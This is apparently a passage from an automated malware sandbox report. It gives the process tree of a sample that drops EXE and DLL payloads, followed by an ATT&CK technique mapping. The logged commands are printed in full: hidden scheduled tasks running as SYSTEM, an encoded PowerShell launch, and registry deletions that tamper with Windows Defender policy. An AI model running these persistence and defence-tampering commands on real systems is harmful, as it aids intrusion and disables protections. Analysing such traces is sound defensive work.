- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gmmjmAXVT" /SC once /ST 06:10:00 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2288
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gmmjmAXVT"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1860
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gmmjmAXVT"
  2⤵
  PID:3884
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "MFUxwpyluZmBswWip" /SC once /ST 06:44:52 /RU "SYSTEM" /TR "\"C:\Windows\Temp\YSrBLfWUtIHnuviW\vPOOfGstRnUMkHu\sZUqqiF.exe\" 18 /site_id 525403 /S" /V1 /F
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:2160
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "MFUxwpyluZmBswWip"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3672

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2104
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:4584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:796

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1028

C:\Windows\Temp\YSrBLfWUtIHnuviW\vPOOfGstRnUMkHu\sZUqqiF.exe
C:\Windows\Temp\YSrBLfWUtIHnuviW\vPOOfGstRnUMkHu\sZUqqiF.exe 18 /site_id 525403 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3596
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bKwcWZekAnYWEgmozo"
  2⤵
  PID:1244
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
  2⤵
  - System Location Discovery: System Language Discovery
  PID:548
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3840
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3372
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4836
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ZUXSmeDRU\ajBVEJ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "SEVCueFJyRflUhU" /V1 /F
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:1260
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "SEVCueFJyRflUhU2" /F /xml "C:\Program Files (x86)\ZUXSmeDRU\yIUWSXY.xml" /RU "SYSTEM"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:3928
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "SEVCueFJyRflUhU"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5000
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "SEVCueFJyRflUhU"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:388
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "iJzencGmrLwIJF" /F /xml "C:\Program Files (x86)\UBqYudvSNocU2\GDLRUEu.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4456
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "qYXqheuptEbIX2" /F /xml "C:\ProgramData\hrOORTLiECQfZJVB\VsFFKPy.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4480
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "JDYpgkNAOwNKhospY2" /F /xml "C:\Program Files (x86)\xonCRuklPFipnPeqKpR\AOxiUtC.xml" /RU "SYSTEM"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:3120
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "hPTErtfTjvBJRSQKVfY2" /F /xml "C:\Program Files (x86)\oXjeNNLqKAotC\EDrfkcp.xml" /RU "SYSTEM"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:1244
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "NGWtXtGwgKKYsphzV" /SC once /ST 02:31:14 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\YSrBLfWUtIHnuviW\aclpvtKf\rrvILEb.dll\",#1 /site_id 525403" /V1 /F
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:1356
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "NGWtXtGwgKKYsphzV"
  2⤵
  PID:2120
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2752
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4420
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1948
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
    3⤵
    PID:1296
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "MFUxwpyluZmBswWip"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4556

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\YSrBLfWUtIHnuviW\aclpvtKf\rrvILEb.dll",#1 /site_id 525403
1⤵
PID:3832
- C:\Windows\SysWOW64\rundll32.exe
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\YSrBLfWUtIHnuviW\aclpvtKf\rrvILEb.dll",#1 /site_id 525403
  2⤵
  - Blocklisted process makes network request
  - Checks BIOS information in registry
  - Loads dropped DLL
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  PID:1260
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "NGWtXtGwgKKYsphzV"
    3⤵
    PID:4404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Indirect Command Execution

T1202

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery